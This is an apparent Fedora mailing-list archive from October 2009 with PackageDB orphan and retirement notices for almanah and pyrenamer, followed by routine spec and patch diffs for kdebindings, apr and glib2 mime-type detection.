--- 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch DELETED ---


--- 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch DELETED ---



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:13 +0000
Subject: [pkgdb] almanah ownership updated
Message-ID: <20091025044613.E320510F87E@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora devel was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:13 +0000
Subject: [pkgdb] almanah (un)retirement
Message-ID: <20091025044613.EDEB210F894@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora devel has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:17 +0000
Subject: [pkgdb] almanah (un)retirement
Message-ID: <20091025044617.A0ADE10F89D@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 9 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:17 +0000
Subject: [pkgdb] almanah ownership updated
Message-ID: <20091025044617.8023710F850@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 9 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:20 +0000
Subject: [pkgdb] almanah ownership updated
Message-ID: <20091025044620.3374510F88B@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 10 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:20 +0000
Subject: [pkgdb] almanah (un)retirement
Message-ID: <20091025044620.3C0B310F8A2@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 10 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:22 +0000
Subject: [pkgdb] almanah ownership updated
Message-ID: <20091025044622.527AC10F850@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 11 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:22 +0000
Subject: [pkgdb] almanah (un)retirement
Message-ID: <20091025044622.5E11A10F89D@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 11 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:25 +0000
Subject: [pkgdb] almanah ownership updated
Message-ID: <20091025044625.27C4710F88B@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 12 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:25 +0000
Subject: [pkgdb] almanah (un)retirement
Message-ID: <20091025044625.3C2A310F8A2@bastion2.fedora.phx.redhat.com>

Package almanah in Fedora 12 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/almanah



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:31 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044631.55A4F10F8A4@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora devel has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:31 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044631.45E2610F88B@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora devel was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:33 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044633.B66C410F89D@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 9 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:33 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044633.C14B110F8A6@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 9 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:36 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044636.514F410F8A4@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 8 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:36 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044636.60A9310F8A8@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 8 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:38 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044638.55DF710F8B0@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 10 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:38 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044638.69B1310F8B2@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 10 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:40 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044640.82FD410F894@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 11 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:40 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044640.8C90310F8A2@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 11 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:42 +0000
Subject: [pkgdb] pyrenamer ownership updated
Message-ID: <20091025044642.ABF1A10F8A6@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 12 was orphaned by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From pkgdb at fedoraproject.org  Sun Oct 25 04:46:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 04:46:42 +0000
Subject: [pkgdb] pyrenamer (un)retirement
Message-ID: <20091025044642.B7B7510F8B4@bastion2.fedora.phx.redhat.com>

Package pyrenamer in Fedora 12 has been retired by lokthare

To make changes to this package see:
  /pkgdb/packages/name/pyrenamer



From mathstuf at fedoraproject.org  Sun Oct 25 04:49:52 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 04:49:52 +0000 (UTC)
Subject: rpms/kdebindings/devel kdebindings.spec,1.246,1.247
Message-ID: <20091025044952.3B36A11C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31387

Modified Files:
	kdebindings.spec 
Log Message:
Fix bz#530667


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.246
retrieving revision 1.247
diff -u -p -r1.246 -r1.247
--- kdebindings.spec	7 Oct 2009 08:46:06 -0000	1.246
+++ kdebindings.spec	25 Oct 2009 04:49:51 -0000	1.247
@@ -45,7 +45,7 @@
 
 Name: kdebindings
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -201,6 +201,7 @@ Group:    Development/Languages
 Summary:  Ruby bindings for Qt4
 Requires: qt4 >= %{_qt4_version} 
 Provides: QtRuby4 = %{version}-%{release}
+Requires: ruby
 %description -n QtRuby
 %{summary}.
 
@@ -530,6 +531,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-1
+- fix bz#530667
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 - fix bz#527464



From mathstuf at fedoraproject.org  Sun Oct 25 04:55:27 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 04:55:27 +0000 (UTC)
Subject: rpms/kdebindings/F-12 kdebindings.spec,1.244,1.245
Message-ID: <20091025045527.52DD111C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdebindings/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv594

Modified Files:
	kdebindings.spec 
Log Message:
Fix bz#530667


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/F-12/kdebindings.spec,v
retrieving revision 1.244
retrieving revision 1.245
diff -u -p -r1.244 -r1.245
--- kdebindings.spec	6 Oct 2009 13:46:39 -0000	1.244
+++ kdebindings.spec	25 Oct 2009 04:55:26 -0000	1.245
@@ -45,7 +45,7 @@
 
 Name: kdebindings
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -201,6 +201,7 @@ Group:    Development/Languages
 Summary:  Ruby bindings for Qt4
 Requires: qt4 >= %{_qt4_version} 
 Provides: QtRuby4 = %{version}-%{release}
+Requires: ruby
 %description -n QtRuby
 %{summary}.
 
@@ -526,6 +527,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-2
+- Fix bz#530667
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From mathstuf at fedoraproject.org  Sun Oct 25 04:56:10 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 04:56:10 +0000 (UTC)
Subject: rpms/kdebindings/devel kdebindings.spec,1.247,1.248
Message-ID: <20091025045610.6AE5011C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv775

Modified Files:
	kdebindings.spec 
Log Message:
Fix changelog version


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.247
retrieving revision 1.248
diff -u -p -r1.247 -r1.248
--- kdebindings.spec	25 Oct 2009 04:49:51 -0000	1.247
+++ kdebindings.spec	25 Oct 2009 04:56:10 -0000	1.248
@@ -531,7 +531,7 @@ fi
 
 
 %changelog
-* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-1
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-2
 - fix bz#530667
 
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-1



From mathstuf at fedoraproject.org  Sun Oct 25 04:58:15 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 04:58:15 +0000 (UTC)
Subject: rpms/kdebindings/F-11 kdebindings.spec,1.207,1.208
Message-ID: <20091025045815.2FF4811C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdebindings/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1176

Modified Files:
	kdebindings.spec 
Log Message:
Fix bz#530667


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/F-11/kdebindings.spec,v
retrieving revision 1.207
retrieving revision 1.208
diff -u -p -r1.207 -r1.208
--- kdebindings.spec	6 Oct 2009 13:46:39 -0000	1.207
+++ kdebindings.spec	25 Oct 2009 04:58:14 -0000	1.208
@@ -45,7 +45,7 @@
 
 Name: kdebindings
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -201,6 +201,7 @@ Group:    Development/Languages
 Summary:  Ruby bindings for Qt4
 Requires: qt4 >= %{_qt4_version} 
 Provides: QtRuby4 = %{version}-%{release}
+Requires: ruby
 %description -n QtRuby
 %{summary}.
 
@@ -526,6 +527,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-2
+- Fix bz#530667
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From mathstuf at fedoraproject.org  Sun Oct 25 05:05:01 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 05:05:01 +0000 (UTC)
Subject: rpms/kdebindings/F-10 kdebindings.spec,1.167,1.168
Message-ID: <20091025050501.7BDEF11C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdebindings/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2615

Modified Files:
	kdebindings.spec 
Log Message:
Fix bz#530667


Index: kdebindings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebindings/F-10/kdebindings.spec,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- kdebindings.spec	6 Oct 2009 13:46:38 -0000	1.167
+++ kdebindings.spec	25 Oct 2009 05:04:58 -0000	1.168
@@ -45,7 +45,7 @@
 
 Name: kdebindings
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -201,6 +201,7 @@ Group:    Development/Languages
 Summary:  Ruby bindings for Qt4
 Requires: qt4 >= %{_qt4_version} 
 Provides: QtRuby4 = %{version}-%{release}
+Requires: ruby
 %description -n QtRuby
 %{summary}.
 
@@ -526,6 +527,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> - 4.3.2-2
+- Fix bz#530667
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From bojan at fedoraproject.org  Sun Oct 25 05:27:22 2009
From: bojan at fedoraproject.org (bojan)
Date: Sun, 25 Oct 2009 05:27:22 +0000 (UTC)
Subject: rpms/apr/devel apr.spec,1.94,1.95
Message-ID: <20091025052722.18B7011C00E5@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9499

Modified Files:
	apr.spec 
Log Message:
Remove uuid/crypt libs from pkg-config file.
Possible fix for bug #511522.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/devel/apr.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- apr.spec	28 Sep 2009 12:06:52 -0000	1.94
+++ apr.spec	25 Oct 2009 05:27:21 -0000	1.95
@@ -6,7 +6,7 @@
 Summary: Apache Portable Runtime library
 Name: apr
 Version: 1.3.9
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: ASL 2.0
 Group: System Environment/Libraries
 URL: http://apr.apache.org/
@@ -70,6 +70,8 @@ sed -ri '/^dependency_libs/{s,-l(uuid|cr
       $RPM_BUILD_ROOT%{_libdir}/libapr*.la
 sed -ri '/^LIBS=/{s,-l(uuid|crypt) ,,g;s/  */ /g}' \
       $RPM_BUILD_ROOT%{_bindir}/apr-%{aprver}-config
+sed -ri '/^Libs/{s,-l(uuid|crypt) ,,g}' \
+      $RPM_BUILD_ROOT%{_libdir}/pkgconfig/apr-%{aprver}.pc
 
 %ifarch %{multilib_arches}
 # Ugly hack to allow parallel installation of 32-bit and 64-bit apr-devel 
@@ -121,6 +123,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/*.m4
 
 %changelog
+* Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
+- remove uuid/crypt libs from pkg-config file
+
 * Mon Sep 28 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
 - revert use of accept4(), dup3() and epoll_create1()
 



From bojan at fedoraproject.org  Sun Oct 25 06:08:56 2009
From: bojan at fedoraproject.org (bojan)
Date: Sun, 25 Oct 2009 06:08:56 +0000 (UTC)
Subject: rpms/apr/F-12 apr.spec,1.94,1.95
Message-ID: <20091025060856.C3EA711C00E5@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21942

Modified Files:
	apr.spec 
Log Message:
Remove uuid/crypt libs from pkg-config file.
Possible fix for bug #511522.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/F-12/apr.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- apr.spec	28 Sep 2009 12:06:52 -0000	1.94
+++ apr.spec	25 Oct 2009 06:08:54 -0000	1.95
@@ -6,7 +6,7 @@
 Summary: Apache Portable Runtime library
 Name: apr
 Version: 1.3.9
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: ASL 2.0
 Group: System Environment/Libraries
 URL: http://apr.apache.org/
@@ -70,6 +70,8 @@ sed -ri '/^dependency_libs/{s,-l(uuid|cr
       $RPM_BUILD_ROOT%{_libdir}/libapr*.la
 sed -ri '/^LIBS=/{s,-l(uuid|crypt) ,,g;s/  */ /g}' \
       $RPM_BUILD_ROOT%{_bindir}/apr-%{aprver}-config
+sed -ri '/^Libs/{s,-l(uuid|crypt) ,,g}' \
+      $RPM_BUILD_ROOT%{_libdir}/pkgconfig/apr-%{aprver}.pc
 
 %ifarch %{multilib_arches}
 # Ugly hack to allow parallel installation of 32-bit and 64-bit apr-devel 
@@ -121,6 +123,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/*.m4
 
 %changelog
+* Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
+- remove uuid/crypt libs from pkg-config file
+
 * Mon Sep 28 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
 - revert use of accept4(), dup3() and epoll_create1()
 



From mclasen at fedoraproject.org  Sun Oct 25 07:02:13 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 25 Oct 2009 07:02:13 +0000 (UTC)
Subject: rpms/glib2/F-12
	0001-xdgmime-sort-glob-hits-with-larger-weight-first.patch, NONE,
	1.1 0007-Don-t-give-up-too-early-when-collecting-mime-types.patch,
	NONE, 1.1 glib2.spec, 1.227, 1.228
Message-ID: <20091025070213.B7BC111C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/glib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7580

Modified Files:
	glib2.spec 
Added Files:
	0001-xdgmime-sort-glob-hits-with-larger-weight-first.patch 
	0007-Don-t-give-up-too-early-when-collecting-mime-types.patch 
Log Message:
Fix some problems with mime type detection in GIO


0001-xdgmime-sort-glob-hits-with-larger-weight-first.patch:
 xdgmimecache.c |    2 +-
 xdgmimeglob.c  |    3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0001-xdgmime-sort-glob-hits-with-larger-weight-first.patch ---
>From 2a3710872f8bfc1c95dc8044c92c9ce020adad40 Mon Sep 17 00:00:00 2001
From: Alexander Larsson <alexl at redhat.com>
Date: Thu, 8 Oct 2009 11:59:23 +0200
Subject: [PATCH 1/8] xdgmime: sort glob hits with larger weight first

Higher weight is more important, so return these first meaning
they will be used as the default.
---
 gio/xdgmime/xdgmimecache.c |    2 +-
 gio/xdgmime/xdgmimeglob.c  |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/gio/xdgmime/xdgmimecache.c b/gio/xdgmime/xdgmimecache.c
index 6765787..97fe975 100644
--- a/gio/xdgmime/xdgmimecache.c
+++ b/gio/xdgmime/xdgmimecache.c
@@ -565,7 +565,7 @@ static int compare_mime_weight (const void *a, const void *b)
   const MimeWeight *aa = (const MimeWeight *)a;
   const MimeWeight *bb = (const MimeWeight *)b;
 
-  return aa->weight - bb->weight;
+  return bb->weight - aa->weight;
 }
 
 #define ISUPPER(c)		((c) >= 'A' && (c) <= 'Z')
diff --git a/gio/xdgmime/xdgmimeglob.c b/gio/xdgmime/xdgmimeglob.c
index 2a0c777..c82bf22 100644
--- a/gio/xdgmime/xdgmimeglob.c
+++ b/gio/xdgmime/xdgmimeglob.c
@@ -381,7 +381,7 @@ static int compare_mime_weight (const void *a, const void *b)
   const MimeWeight *aa = (const MimeWeight *)a;
   const MimeWeight *bb = (const MimeWeight *)b;
 
-  return aa->weight - bb->weight;
+  return bb->weight - aa->weight;
 }
 
 #define ISUPPER(c)		((c) >= 'A' && (c) <= 'Z')
-- 
1.6.5.1


0007-Don-t-give-up-too-early-when-collecting-mime-types.patch:
 xdgmimecache.c |   67 +++++++++++++++++++++++++++++++++++++++++----------------
 xdgmimeglob.c  |   44 ++++++++++++++++++++++++++++++++-----
 2 files changed, 87 insertions(+), 24 deletions(-)

--- NEW FILE 0007-Don-t-give-up-too-early-when-collecting-mime-types.patch ---
>From 58b65d312ba29cf4bec3ca46d86edfce5d8957b5 Mon Sep 17 00:00:00 2001
From: Matthias Clasen <mclasen at redhat.com>
Date: Sun, 25 Oct 2009 02:47:23 -0400
Subject: [PATCH 7/8] Don't give up too early when collecting mime types

Since returning exactly one match has special significance, don't
give up matching before we've found at least 2 types. Also, make
sure that we don't return the same mime type more than once.
Bug 541236.
---
 gio/xdgmime/xdgmimecache.c |   67 ++++++++++++++++++++++++++++++++------------
 gio/xdgmime/xdgmimeglob.c  |   43 +++++++++++++++++++++++++---
 2 files changed, 87 insertions(+), 23 deletions(-)

diff --git a/gio/xdgmime/xdgmimecache.c b/gio/xdgmime/xdgmimecache.c
index 97fe975..43cda89 100644
--- a/gio/xdgmime/xdgmimecache.c
+++ b/gio/xdgmime/xdgmimecache.c
@@ -444,11 +444,11 @@ cache_glob_lookup_fnmatch (const char *file_name,
 	    }
 	}
 
-      if (n > 0)
-	return n;
+      if (n == n_mime_types)
+	break;
     }
-  
-  return 0;
+
+  return n;
 }
 
 static int
@@ -539,6 +539,7 @@ cache_glob_lookup_suffix (const char *file_name,
 {
   int i, n;
 
+  n = 0;
   for (i = 0; _caches[i]; i++)
     {
       XdgMimeCache *cache = _caches[i];
@@ -547,17 +548,17 @@ cache_glob_lookup_suffix (const char *file_name,
       xdg_uint32_t n_entries = GET_UINT32 (cache->buffer, list_offset);
       xdg_uint32_t offset = GET_UINT32 (cache->buffer, list_offset + 4);
 
-      n = cache_glob_node_lookup_suffix (cache, 
-					 n_entries, offset, 
-					 file_name, len,
-					 ignore_case,
-					 mime_types,
-					 n_mime_types);
-      if (n > 0)
-	return n;
+      n += cache_glob_node_lookup_suffix (cache, 
+	 				  n_entries, offset, 
+					  file_name, len,
+					  ignore_case,
+					  mime_types + n,
+					  n_mime_types - n);
+      if (n == n_mime_types)
+	break;
     }
 
-  return 0;
+  return n;
 }
 
 static int compare_mime_weight (const void *a, const void *b)
@@ -585,7 +586,35 @@ ascii_tolower (const char *str)
 }
 
 static int
-cache_glob_lookup_file_name (const char *file_name, 
+filter_out_dupes (MimeWeight mimes[], int n_mimes)
+{
+  int last;
+  int i, j;
+
+  last = n_mimes;
+
+  for (i = 0; i < last; i++)
+    {
+      j = i + 1;
+      while (j < last)
+        {
+          if (strcmp (mimes[i].mime, mimes[j].mime) == 0)
+            {
+              mimes[i].weight = MAX (mimes[i].weight, mimes[j].weight);
+              last--;
+              mimes[j].mime = mimes[last].mime;
+              mimes[j].weight = mimes[last].weight;
+            }
+          else
+            j++;
+        }
+    }
+
+  return last;
+}
+
+static int
+cache_glob_lookup_file_name (const char *file_name,
 			     const char *mime_types[],
 			     int         n_mime_types)
 {
@@ -619,14 +648,16 @@ cache_glob_lookup_file_name (const char *file_name,
 
   len = strlen (file_name);
   n = cache_glob_lookup_suffix (lower_case, len, FALSE, mimes, n_mimes);
-  if (n == 0)
-    n = cache_glob_lookup_suffix (file_name, len, TRUE, mimes, n_mimes);
+  if (n < 2)
+    n += cache_glob_lookup_suffix (file_name, len, TRUE, mimes + n, n_mimes - n);
 
   free (lower_case);
 
   /* Last, try fnmatch */
-  if (n == 0)
-    n = cache_glob_lookup_fnmatch (file_name, mimes, n_mimes);
+  if (n < 2)
+    n += cache_glob_lookup_fnmatch (file_name, mimes + n, n_mimes - n);
+
+  n = filter_out_dupes (mimes, n);
 
   qsort (mimes, n, sizeof (MimeWeight), compare_mime_weight);
 
diff --git a/gio/xdgmime/xdgmimeglob.c b/gio/xdgmime/xdgmimeglob.c
index c82bf22..daea606 100644
--- a/gio/xdgmime/xdgmimeglob.c
+++ b/gio/xdgmime/xdgmimeglob.c
@@ -37,6 +37,10 @@
 #include <string.h>
 #include <fnmatch.h>
 
+#ifndef MAX
+#define MAX(a,b) ((a) > (b) ? (a) : (b))
+#endif
+
 #ifndef	FALSE
 #define	FALSE	(0)
 #endif
@@ -400,6 +404,34 @@ ascii_tolower (const char *str)
   return lower;
 }
 
+static int
+filter_out_dupes (MimeWeight mimes[], int n_mimes)
+{
+  int last;
+  int i, j;
+
+  last = n_mimes;
+
+  for (i = 0; i < last; i++)
+    {
+      j = i + 1;
+      while (j < last)
+        {
+          if (strcmp (mimes[i].mime, mimes[j].mime) == 0)
+            {
+              mimes[i].weight = MAX (mimes[i].weight, mimes[j].weight);
+              last--;
+              mimes[j].mime = mimes[last].mime;
+              mimes[j].weight = mimes[last].weight;
+            }
+          else
+            j++;
+        }
+    }
+
+  return last;
+}
+
 int
 _xdg_glob_hash_lookup_file_name (XdgGlobHash *glob_hash,
 				 const char  *file_name,
@@ -412,7 +444,6 @@ _xdg_glob_hash_lookup_file_name (XdgGlobHash *glob_hash,
   int n_mimes = 10;
   int len;
   char *lower_case;
-  int try_lower_case;
 
   /* First, check the literals */
 
@@ -447,11 +478,11 @@ _xdg_glob_hash_lookup_file_name (XdgGlobHash *glob_hash,
   len = strlen (file_name);
   n = _xdg_glob_hash_node_lookup_file_name (glob_hash->simple_node, lower_case, len, FALSE,
 					    mimes, n_mimes);
-  if (n == 0)
-    n = _xdg_glob_hash_node_lookup_file_name (glob_hash->simple_node, file_name, len, TRUE,
-					      mimes, n_mimes);
+  if (n < 2)
+    n += _xdg_glob_hash_node_lookup_file_name (glob_hash->simple_node, file_name, len, TRUE,
+					       mimes + n, n_mimes - n);
 
-  if (n == 0)
+  if (n < 2)
     {
       for (list = glob_hash->full_list; list && n < n_mime_types; list = list->next)
         {
@@ -465,6 +496,8 @@ _xdg_glob_hash_lookup_file_name (XdgGlobHash *glob_hash,
     }
   free (lower_case);
 
+  n = filter_out_dupes (mimes, n);
+
   qsort (mimes, n, sizeof (MimeWeight), compare_mime_weight);
 
   if (n_mime_types < n)
-- 
1.6.5.1



Index: glib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glib2/F-12/glib2.spec,v
